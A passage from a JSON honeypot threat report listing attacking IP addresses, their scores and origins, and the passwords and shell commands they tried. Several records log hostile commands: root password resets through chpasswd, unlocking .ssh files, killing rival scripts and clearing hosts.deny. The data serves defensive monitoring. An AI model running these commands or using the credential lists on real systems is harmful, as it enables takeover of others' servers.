      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T01:07:45.163000+00:00",
        "last_seen_30d": "2026-05-22T01:20:51.405000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "90.150.68.44": {
      "attack_count": 2,
      "first_seen": "2026-05-31T22:10:08.234Z",
      "last_seen": "2026-05-31T22:12:08.305Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 48190,
      "as_org": "T2 Mobile LLC",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T22:10:08.234000+00:00",
        "last_seen_30d": "2026-05-31T22:22:10.854000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "91.106.54.191": {
      "attack_count": 2,
      "first_seen": "2026-05-08T15:28:22.831Z",
      "last_seen": "2026-05-08T15:28:36.185Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Baghdad",
      "asn": 210402,
      "as_org": "Hala Al Rafidain Company for Communications and Internet LTD.",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T15:28:22.831000+00:00",
        "last_seen_30d": "2026-05-08T15:29:37.785000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.230.168.51": {
      "attack_count": 2,
      "first_seen": "2026-05-26T20:04:06.640Z",
      "last_seen": "2026-05-26T20:04:17.048Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 76.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 30,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T09:31:37+00:00",
        "last_seen_30d": "2026-05-31T11:40:20.568000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 26,
        "Honeytrap": 15,
        "Cowrie": 2
      }
    },
    "94.61.205.20": {
      "attack_count": 2,
      "first_seen": "2026-05-27T21:27:18.952Z",
      "last_seen": "2026-05-27T21:27:32.619Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": "Santo Tirso",
      "asn": 12353,
      "as_org": "Vodafone Portugal - Communicacoes Pessoais S.A.",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T21:27:18.952000+00:00",
        "last_seen_30d": "2026-05-27T21:28:33.051000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.156.87.69": {
      "attack_count": 4480,
      "first_seen": "2026-05-23T00:59:12.525Z",
      "last_seen": "2026-05-23T01:55:15.358Z",
      "sessions": 896,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "admin",
        "user",
        "ftpuser",
        "ubuntu",
        "deployer",
        "test",
        "oracle",
        "jenkins",
        "postgres",
        "alex",
        "git",
        "guest",
        "minecraft",
        "odoo",
        "bot",
        "cacti",
        "demo",
        "elastic"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "P@ssw0rd",
        "p@ssw0rd",
        "123",
        "12345678",
        "1",
        "1234",
        "12345",
        "root",
        "1qaz@WSX",
        "admin",
        "111",
        "1111",
        "123456789",
        "Aa123456",
        "admin123",
        "1234567",
        "123root",
        "0000"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 31.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 6308,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T00:59:12.525000+00:00",
        "last_seen_30d": "2026-05-23T01:56:23.549000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4480,
        "Suricata": 1828
      }
    },
    "182.253.79.194": {
      "attack_count": 624,
      "first_seen": "2026-05-06T15:19:27.852Z",
      "last_seen": "2026-05-17T15:45:36.952Z",
      "sessions": 78,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "test",
        "git",
        "hadoop",
        "user3",
        "adminuser",
        "dev",
        "ftpuser",
        "guest",
        "jessica",
        "mb",
        "myuser",
        "newuser",
        "ptuser",
        "sdbadmin",
        "sergey",
        "server"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "1234QWer",
        "p@ssw0rd",
        "1",
        "111",
        "123",
        "123!@#123",
        "123123123",
        "12345678",
        "123456789Aa",
        "1234567Aa",
        "123456Ti",
        "159753",
        "1q2w3e4r",
        "1qaz@WSX",
        "Adm@2024",
        "Apple2026",
        "Asdf1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"password\\nA3JVyJSpRBCr\\nA3JVyJSpRBCr\\n\"|passwd",
        "echo \"root:PSnqAZaBrxVI\"|chpasswd|bash",
        "echo \"root:lfNEMTH0giWd\"|chpasswd|bash",
        "echo \"utnubu2018\\nQwNNKIBwdIfV\\nQwNNKIBwdIfV\\n\"|passwd",
        "echo -e \"password\\nA3JVyJSpRBCr\\nA3JVyJSpRBCr\"|passwd|bash",
        "echo -e \"utnubu2018\\nQwNNKIBwdIfV\\nQwNNKIBwdIfV\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Kuta",
      "asn": 17451,
      "as_org": "BIZNET NETWORKS",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.1,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 804,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T15:19:27.852000+00:00",
        "last_seen_30d": "2026-05-17T15:46:43.859000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 624,
        "Suricata": 180
      }
    },
    "189.147.19.238": {
      "attack_count": 547,
      "first_seen": "2026-05-17T04:34:24.842Z",
      "last_seen": "2026-05-25T10:31:32.554Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "aziz",
        "toor",
        "ubuntu",
        "cloud",
        "curl",
        "damien",
        "dspace",
        "es",
        "zyx"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123412",
        "123qweqwe",
        "1qasw23edfr45tghy67uj",
        "2013",
        "20192019",
        "8ik,9ol.0p;/",
        "Aa123654",
        "Dj123456",
        "Mobile@123",
        "P@ssw0rd!2025",
        "Password123x",
        "Qaz123123",
        "Qwert123",
        "Wangsu@2017",
        "admin123$%^",
        "aziz",
        "convergence"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"aziz\\nI9YaLR1duobp\\nI9YaLR1duobp\\n\"|passwd",
        "echo \"password\\nIlALOM3IyB9d\\nIlALOM3IyB9d\\n\"|passwd",
        "echo \"root:JKbuQCStFZof\"|chpasswd|bash",
        "echo \"root:LxyAMk8Y0TeQ\"|chpasswd|bash",
        "echo \"root:Sy127fulP3pO\"|chpasswd|bash",
        "echo -e \"aziz\\nI9YaLR1duobp\\nI9YaLR1duobp\"|passwd|bash",
        "echo -e \"password\\nIlALOM3IyB9d\\nIlALOM3IyB9d\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Benito Juarez",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 38.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.2,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 666,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T04:34:24.842000+00:00",
        "last_seen_30d": "2026-05-25T10:32:41.676000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 547,
        "Suricata": 119
      }
    },
    "43.163.102.24": {
      "attack_count": 450,
      "first_seen": "2026-05-16T20:26:54.125Z",
      "last_seen": "2026-05-16T20:55:51.208Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1912",
        "20192019",
        "320320",
        "andrea123",
        "apache123",
        "avonline",
        "bismillah",
        "bling",
        "cloudroot",
        "dany123",
        "helu",
        "lty",
        "p?ssworD",
        "packers",
        "river123",
        "robot",
        "root1995",
        "server1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:9VTjJIkC7ToS\"|chpasswd|bash",
        "echo \"root:Ow4xKsRZj5oE\"|chpasswd|bash",
        "echo \"root:QEuPcyFcrAxy\"|chpasswd|bash",
        "echo \"root:XaFygIkXO3ok\"|chpasswd|bash",
        "echo \"root:fCEiBD53KySm\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 520,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T20:26:54.125000+00:00",
        "last_seen_30d": "2026-05-16T20:57:00.889000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 450,
        "Suricata": 70
      }
    },
    "186.68.83.105": {
      "attack_count": 424,
      "first_seen": "2026-05-22T00:09:07.242Z",
      "last_seen": "2026-05-26T21:11:07.943Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "kubeadmin",
        "mosquitto",
        "oracle",
        "bence",
        "fred",
        "git",
        "joe",
        "keycloak",
        "lenovo",
        "n8n",
        "proxyuser",
        "root/1234567",
        "stefano",
        "student",
        "systemd",
        "ubuntu",
        "valheim",
        "vpn"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "#EDC4rfv5tgb",
        "12345",
        "123456",
        "123698745",
        "1qazxsw23edc",
        "7777777",
        "Dd123123",
        "Ls@123456",
        "Passw0rd@123",
        "Voidsetdownload.so",
        "Zk123456",
        "adminadmin",
        "bence",
        "fjbdfdjkdsfs541544AA@@",
        "fred",
        "git@2025"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123\\n2NXMPfpJtNHV\\n2NXMPfpJtNHV\\n\"|passwd",
        "echo \"kubeadmin\\nV8cOXjFkOadr\\nV8cOXjFkOadr\\n\"|passwd",
        "echo \"root:izODTBP40zGE\"|chpasswd|bash",
        "echo \"root:zT6h4G6Dj9RI\"|chpasswd|bash",
        "echo -e \"123\\n2NXMPfpJtNHV\\n2NXMPfpJtNHV\"|passwd|bash",
        "echo -e \"kubeadmin\\nV8cOXjFkOadr\\nV8cOXjFkOadr\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Ecuador",
      "country_code": "EC",
      "city": "Jun\u00edn",
      "asn": 14522,
      "as_org": "SERVICIOS DE TELECOMUNICACIONES SETEL S.A. XTRIM EC",
      "threat_score": 36.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.1,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 516,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T00:09:07.242000+00:00",
        "last_seen_30d": "2026-05-26T21:12:17.365000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 424,
        "Suricata": 92
      }
    },
    "159.65.8.74": {
      "attack_count": 420,
      "first_seen": "2026-05-15T03:50:14.489Z",
      "last_seen": "2026-05-15T04:33:42.949Z",
      "sessions": 37,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "jflhi5za",
        "shrvn6xd",
        "test",
        "www",
        "ansible",
        "ben",
        "deploy",
        "dspace",
        "james",
        "jcon0r73",
        "linux",
        "ljy",
        "mattermost",
        "newuser",
        "pakchoi",
        "rsacgo23",
        "whmapi"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "linux123",
        "12345",
        "123456",
        "123Qwe123C",
        "8.5vHtXSSViFDvKi+TB.",
        "Abcqwe123",
        "Admin1234",
        "KZ+1E0C~_qz+E2wt64ko",
        "Kermit123@",
        "Lg123456",
        "Passw0rd",
        "Qwerty123",
        "Root@2021",
        "YourPassword@6942",
        "ansible1",
        "bangsat",
        "ben",
        "deploypassword"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"KZ+1E0C~_qz+E2wt64ko\\nc7yVtQzJsIrX\\nc7yVtQzJsIrX\\n\"|passwd",
        "echo \"drHsosw0iIPRMnLcZUwC\\nlLvjOq1BJIMn\\nlLvjOq1BJIMn\\n\"|passwd",
        "echo \"root:FfoJ5b85Vuji\"|chpasswd|bash",
        "echo \"www@123\\nBUeiiuI9kK3x\\nBUeiiuI9kK3x\\n\"|passwd",
        "echo -e \"KZ+1E0C~_qz+E2wt64ko\\nc7yVtQzJsIrX\\nc7yVtQzJsIrX\"|passwd|bash",
        "echo -e \"drHsosw0iIPRMnLcZUwC\\nlLvjOq1BJIMn\\nlLvjOq1BJIMn\"|passwd|bash",
        "echo -e \"www@123\\nBUeiiuI9kK3x\\nBUeiiuI9kK3x\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 18.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 502,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T03:50:14.489000+00:00",
        "last_seen_30d": "2026-05-15T04:34:43.832000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 420,
        "Suricata": 82
      }
    },
    "198.12.90.72": {
      "attack_count": 377,
      "first_seen": "2026-05-18T23:02:34.343Z",
      "last_seen": "2026-05-18T23:27:38.369Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456a@",
        "321123",
        "Dr123456",
        "Passw0rd.",
        "Qwer@2020",
        "aA@12345678",
        "aish",
        "claude",
        "colton",
        "cvs",
        "dzy123",
        "externo",
        "fivem123",
        "giulio",
        "katrina",
        "mircea",
        "nao",
        "ncc1701"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:X1S7fhlROxXp\"|chpasswd|bash",
        "echo \"root:ipjPWXWS9hZJ\"|chpasswd|bash",
        "echo \"root:rGiyeAE9kUdp\"|chpasswd|bash",
        "echo \"root:tipLaPQWcIH2\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 440,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T23:02:34.343000+00:00",
        "last_seen_30d": "2026-05-18T23:28:47.881000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 377,
        "Suricata": 63
      }
    },
    "212.154.234.9": {
      "attack_count": 346,
      "first_seen": "2026-05-20T07:59:23.951Z",
      "last_seen": "2026-05-20T22:18:14.913Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "aini",
        "claude",
        "du",
        "gao",
        "irc",
        "jboss",
        "jingdong",
        "kingsoft",
        "naresh",
        "player",
        "rocky",
        "suning",
        "takahashi",
        "wen",
        "xiaoming"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1029384756",
        "1967",
        "20220520",
        "2024",
        "Ab-1234567890",
        "Admin#123",
        "Dd112211",
        "a123",
        "alegna",
        "claude",
        "d0nk3r",
        "du",
        "elmismo",
        "elsearch",
        "emma1234",
        "gao123",
        "hi3518"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:l2Si9qm1CxIs\"|chpasswd|bash",
        "echo \"root:r2YIow3EfJ5Z\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Kazakhstan",
      "country_code": "KZ",
      "city": "Astana",
      "asn": 50482,
      "as_org": "JSC Kazakhtelecom",
      "threat_score": 24.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 450,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T07:59:23.951000+00:00",
        "last_seen_30d": "2026-05-20T22:19:16.333000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 346,
        "Suricata": 104
      }
    },
    "45.70.219.15": {
      "attack_count": 292,
      "first_seen": "2026-05-26T20:45:14.832Z",
      "last_seen": "2026-05-26T21:13:52.572Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "kubeadmin",
        "mosquitto",
        "systemd",
        "fred",
        "git",
        "joe",
        "keycloak",
        "lenovo",
        "n8n",
        "root/1234567",
        "stefano",
        "ubuntu",
        "valheim",
        "zone"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "#EDC4rfv5tgb",
        "123",
        "1234",
        "123456",
        "Dd123123",
        "Voidsetdownload.so",
        "fjbdfdjkdsfs541544AA@@",
        "fred",
        "git@2025",
        "keycloak",
        "kubeadmin",
        "lenovo",
        "n8n2026",
        "root",
        "stefano",
        "temp123",
        "valheim"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\n9fNkONl9FshE\\n9fNkONl9FshE\\n\"|passwd",
        "echo \"Voidsetdownload.so\\nJokNALDqamPK\\nJokNALDqamPK\\n\"|passwd",
        "echo \"kubeadmin\\nIRheT25uHxSN\\nIRheT25uHxSN\\n\"|passwd",
        "echo -e \"123\\n9fNkONl9FshE\\n9fNkONl9FshE\"|passwd|bash",
